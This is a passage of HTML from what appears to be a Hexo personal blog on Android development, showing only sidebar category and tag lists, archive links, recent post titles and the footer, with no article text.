class="category-list-link" href="/categories/View/">View</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/ViewPager/">ViewPager</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/View%E7%AF%87/">View篇</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/as%E6%8A%A5%E9%94%99/">as报错</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/jar%E5%8C%85/">jar包</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/targetSdkVersion/">targetSdkVersion</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E4%B8%83%E7%89%9B%E4%BA%91/">七牛云</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E4%BA%8C%E7%BB%B4%E7%A0%81/">二维码</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%88%A0%E9%99%A4%E5%9B%BE%E7%89%87%E7%BC%93%E5%AD%98/">删除图片缓存</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%8D%87%E7%BA%A7%E6%8A%A5%E9%94%99/">升级报错</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/">博客搭建</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%8E%BB%E6%8E%89v7%E5%8C%85/">去掉v7包</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%9B%BE%E7%89%87%E5%A4%84%E7%90%86/">图片处理</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%A4%9A%E5%AA%92%E4%BD%93/">多媒体</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%AE%9A%E5%88%B6%E7%B1%BB/">定制类</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%B0%8F%E7%B1%B3%E6%89%8B%E6%9C%BA/">小米手机</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%B9%BF%E6%92%AD%E6%9C%BA%E5%88%B6/">广播机制</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E5%BE%AE%E5%8D%9A%E5%88%86%E4%BA%AB/">微博分享</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E6%89%93%E5%8C%85APK%E6%8A%A5%E9%94%99/">打包APK报错</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E6%8C%81%E4%B9%85%E5%8C%96%E5%AD%98%E5%82%A8/">持久化存储</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E6%97%B6%E9%97%B4%E9%80%89%E6%8B%A9DatePicker/">时间选择DatePicker</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E6%9C%8D%E5%8A%A1/">服务</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E6%9D%83%E9%99%90/">权限</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E6%9E%84%E5%BB%BA%E5%9F%BA%E7%B1%BB/">构建基类</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E6%B5%8B%E8%AF%95/">测试</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E7%9B%91%E5%90%AC%E9%94%81%E5%B1%8F/">监听锁屏</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E7%B3%BB%E7%BB%9F%E9%A1%B5%E9%9D%A2%E8%B7%B3%E8%BD%AC/">系统页面跳转</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E8%89%BA%E6%9C%AF%E6%8E%A2%E7%B4%A2/">艺术探索</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E8%AF%BB%E5%8F%96txt/">读取txt</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E8%BE%93%E5%85%A5%E6%B3%95/">输入法</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E9%9F%B3%E4%B9%90%E6%92%AD%E6%94%BE%E5%99%A8/">音乐播放器</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/%E9%BB%91%E9%A9%AC%E5%8D%AB%E5%A3%AB/">黑马卫士</a></li></ul>
    </div>
  </div>


  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Tags</h3>
    <div class="widget">
      <ul class="tag-list" itemprop="keywords"><li class="tag-list-item"><a class="tag-list-link" href="/tags/Activity/" rel="tag">Activity</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Android-Studio/" rel="tag">Android Studio</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Android-Studio%E4%BB%8B%E7%BB%8D/" rel="tag">Android Studio介绍</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Android%E5%9F%BA%E7%A1%80/" rel="tag">Android基础</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Android%E6%A8%A1%E6%9D%BF/" rel="tag">Android模板</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/BaseRecyclerViewAdapterHelper/" rel="tag">BaseRecyclerViewAdapterHelper</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Bug%E9%97%AE%E9%A2%98/" rel="tag">Bug问题</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Button/" rel="tag">Button</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/EditText/" rel="tag">EditText</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Fragment/" rel="tag">Fragment</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Gradle/" rel="tag">Gradle</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/ListView/" rel="tag">ListView</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/MD%E8%AF%AD%E6%B3%95/" rel="tag">MD语法</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/MyEclipse/" rel="tag">MyEclipse</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/OSS/" rel="tag">OSS</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/RecyclerView/" rel="tag">RecyclerView</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/SQL%E5%9F%BA%E7%A1%80/" rel="tag">SQL基础</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/UI%E6%8E%A7%E4%BB%B6/" rel="tag">UI控件</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/View/" rel="tag">View</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/ViewPager/" rel="tag">ViewPager</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/View%E7%AF%87/" rel="tag">View篇</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/as%E6%8A%A5%E9%94%99/" rel="tag">as报错</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/jar%E5%8C%85/" rel="tag">jar包</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/targetSdkVersion/" rel="tag">targetSdkVersion</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E4%B8%83%E7%89%9B%E4%BA%91/" rel="tag">七牛云</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E5%8D%87%E7%BA%A7%E6%8A%A5%E9%94%99/" rel="tag">升级报错</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/" rel="tag">博客搭建</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E5%9B%BE%E7%89%87%E5%A4%84%E7%90%86/" rel="tag">图片处理</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E5%A4%9A%E5%AA%92%E4%BD%93/" rel="tag">多媒体</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E5%B7%A5%E4%BD%9C%E9%97%AE%E9%A2%98/" rel="tag">工作问题</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E5%B9%BF%E6%92%AD%E6%9C%BA%E5%88%B6/" rel="tag">广播机制</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E5%BA%94%E7%94%A8%E8%AF%A6%E6%83%85/" rel="tag">应用详情</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E5%BE%AE%E5%8D%9A%E5%88%86%E4%BA%AB/" rel="tag">微博分享</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E6%8C%81%E4%B9%85%E5%8C%96%E5%AD%98%E5%82%A8/" rel="tag">持久化存储</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E6%9C%8D%E5%8A%A1/" rel="tag">服务</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E6%9D%83%E9%99%90/" rel="tag">权限</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E6%9E%84%E5%BB%BA%E5%9F%BA%E7%B1%BB/" rel="tag">构建基类</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E7%94%9F%E6%B4%BB/" rel="tag">生活</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E7%BB%83%E6%89%8B/" rel="tag">练手</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E8%89%BA%E6%9C%AF%E6%8E%A2%E7%B4%A2/" rel="tag">艺术探索</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E8%BE%93%E5%85%A5%E6%B3%95/" rel="tag">输入法</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/%E9%AB%98%E7%BA%A7%E6%8A%80%E5%B7%A7/" rel="tag">高级技巧</a></li></ul>
    </div>
  </div>


  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Tag Cloud</h3>
    <div class="widget tagcloud">
      <a href="/tags/Activity/" style="font-size: 12.5px;">Activity</a> <a href="/tags/Android-Studio/" style="font-size: 10px;">Android Studio</a> <a href="/tags/Android-Studio%E4%BB%8B%E7%BB%8D/" style="font-size: 12.5px;">Android Studio介绍</a> <a href="/tags/Android%E5%9F%BA%E7%A1%80/" style="font-size: 20px;">Android基础</a> <a href="/tags/Android%E6%A8%A1%E6%9D%BF/" style="font-size: 10px;">Android模板</a> <a href="/tags/BaseRecyclerViewAdapterHelper/" style="font-size: 10px;">BaseRecyclerViewAdapterHelper</a> <a href="/tags/Bug%E9%97%AE%E9%A2%98/" style="font-size: 10px;">Bug问题</a> <a href="/tags/Button/" style="font-size: 10px;">Button</a> <a href="/tags/EditText/" style="font-size: 10px;">EditText</a> <a href="/tags/Fragment/" style="font-size: 18.75px;">Fragment</a> <a href="/tags/Gradle/" style="font-size: 10px;">Gradle</a> <a href="/tags/ListView/" style="font-size: 17.5px;">ListView</a> <a href="/tags/MD%E8%AF%AD%E6%B3%95/" style="font-size: 11.25px;">MD语法</a> <a href="/tags/MyEclipse/" style="font-size: 13.75px;">MyEclipse</a> <a href="/tags/OSS/" style="font-size: 11.25px;">OSS</a> <a href="/tags/RecyclerView/" style="font-size: 12.5px;">RecyclerView</a> <a href="/tags/SQL%E5%9F%BA%E7%A1%80/" style="font-size: 10px;">SQL基础</a> <a href="/tags/UI%E6%8E%A7%E4%BB%B6/" style="font-size: 15px;">UI控件</a> <a href="/tags/View/" style="font-size: 10px;">View</a> <a href="/tags/ViewPager/" style="font-size: 10px;">ViewPager</a> <a href="/tags/View%E7%AF%87/" style="font-size: 10px;">View篇</a> <a href="/tags/as%E6%8A%A5%E9%94%99/" style="font-size: 10px;">as报错</a> <a href="/tags/jar%E5%8C%85/" style="font-size: 10px;">jar包</a> <a href="/tags/targetSdkVersion/" style="font-size: 10px;">targetSdkVersion</a> <a href="/tags/%E4%B8%83%E7%89%9B%E4%BA%91/" style="font-size: 10px;">七牛云</a> <a href="/tags/%E5%8D%87%E7%BA%A7%E6%8A%A5%E9%94%99/" style="font-size: 10px;">升级报错</a> <a href="/tags/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/" style="font-size: 12.5px;">博客搭建</a> <a href="/tags/%E5%9B%BE%E7%89%87%E5%A4%84%E7%90%86/" style="font-size: 15px;">图片处理</a> <a href="/tags/%E5%A4%9A%E5%AA%92%E4%BD%93/" style="font-size: 12.5px;">多媒体</a> <a href="/tags/%E5%B7%A5%E4%BD%9C%E9%97%AE%E9%A2%98/" style="font-size: 16.25px;">工作问题</a> <a href="/tags/%E5%B9%BF%E6%92%AD%E6%9C%BA%E5%88%B6/" style="font-size: 12.5px;">广播机制</a> <a href="/tags/%E5%BA%94%E7%94%A8%E8%AF%A6%E6%83%85/" style="font-size: 10px;">应用详情</a> <a href="/tags/%E5%BE%AE%E5%8D%9A%E5%88%86%E4%BA%AB/" style="font-size: 10px;">微博分享</a> <a href="/tags/%E6%8C%81%E4%B9%85%E5%8C%96%E5%AD%98%E5%82%A8/" style="font-size: 13.75px;">持久化存储</a> <a href="/tags/%E6%9C%8D%E5%8A%A1/" style="font-size: 12.5px;">服务</a> <a href="/tags/%E6%9D%83%E9%99%90/" style="font-size: 10px;">权限</a> <a href="/tags/%E6%9E%84%E5%BB%BA%E5%9F%BA%E7%B1%BB/" style="font-size: 10px;">构建基类</a> <a href="/tags/%E7%94%9F%E6%B4%BB/" style="font-size: 11.25px;">生活</a> <a href="/tags/%E7%BB%83%E6%89%8B/" style="font-size: 11.25px;">练手</a> <a href="/tags/%E8%89%BA%E6%9C%AF%E6%8E%A2%E7%B4%A2/" style="font-size: 10px;">艺术探索</a> <a href="/tags/%E8%BE%93%E5%85%A5%E6%B3%95/" style="font-size: 10px;">输入法</a> <a href="/tags/%E9%AB%98%E7%BA%A7%E6%8A%80%E5%B7%A7/" style="font-size: 11.25px;">高级技巧</a>
    </div>
  </div>

  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Archives</h3>
    <div class="widget">
      <ul class="archive-list"><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/11/">November 2017</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/10/">October 2017</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/09/">September 2017</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/08/">August 2017</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/07/">July 2017</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/06/">June 2017</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/04/">April 2017</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/03/">March 2017</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2017/02/">February 2017</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2016/09/">September 2016</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/10/">October 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2014/04/">April 2014</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2013/01/">January 2013</a></li><li class="archive-list-item"><a class="archive-list-link" href="/archives/2012/05/">May 2012</a></li></ul>
    </div>
  </div>


  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Recent Posts</h3>
    <div class="widget">
      <ul>
        
          <li>
            <a href="/2017/11/03/Android%20Studio/Github%E4%B8%8A%E6%8F%90%E4%BA%A4%E4%BB%A3%E7%A0%81/">Github上提交代码</a>
          </li>
        
          <li>
            <a href="/2017/10/31/RecyclerView/BaseRecyclerViewAdapterHelper%E5%BA%93%E7%9A%84%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95/">BaseRecyclerViewAdapterHelper库的基本使用方法</a>
          </li>
        
          <li>
            <a href="/2017/10/31/%E5%9B%BE%E7%89%87%E5%A4%84%E7%90%86/%E4%B8%83%E7%89%9B%E4%BA%91--%E4%B8%83%E7%89%9B%E4%BA%91%E5%BF%AB%E9%80%9F%E4%B8%8A%E4%BC%A0%E5%9B%BE%E7%89%87/">七牛云快速上传图片</a>
          </li>
        
          <li>
            <a href="/2017/10/31/Gradle/Gradle--Gradle%E6%B7%BB%E5%8A%A0%E7%AC%AC%E4%B8%89%E6%96%B9%E5%BA%93%E6%8A%A5%E5%BC%82%E5%B8%B8/">Gradle添加第三方库报异常</a>
          </li>
        
          <li>
            <a href="/2017/10/26/Android%20Studio/%E8%A7%A3%E5%86%B3Android-Studio-Gradle-%E9%94%99%E8%AF%AF-%E7%BC%96%E7%A0%81GBK%E7%9A%84%E4%B8%8D%E5%8F%AF%E6%98%A0%E5%B0%84%E5%AD%97%E7%AC%A6/">解决Android Studio Gradle 错误 编码GBK的不可映射字符</a>
          </li>
        
      </ul>
    </div>
  </div>

  
</aside>
        
      </div>
      <footer id="footer">
  
  <div class="outer">
    <div id="footer-info" class="inner">
      
      &copy; 2021 wxyass<br>
      Powered by <a href="https://hexo.io/" target="_blank">Hexo</a>
    </div>
  </div>
</footer>

    </div>
    <nav id="mobile-nav">
  
    <a href="/" class="mobile-nav-link">Home</a>
  
    <a href="/archives" class="mobile-nav-link">Archives</a>
  
</nav>
    


<script src="/js/jquery-3.4.1.min.js"></script>



  
<script src="/fancybox/jquery.fancybox.min.js"></script>




<script src="/js/script.js"></script>





  </div>
</body>
</html>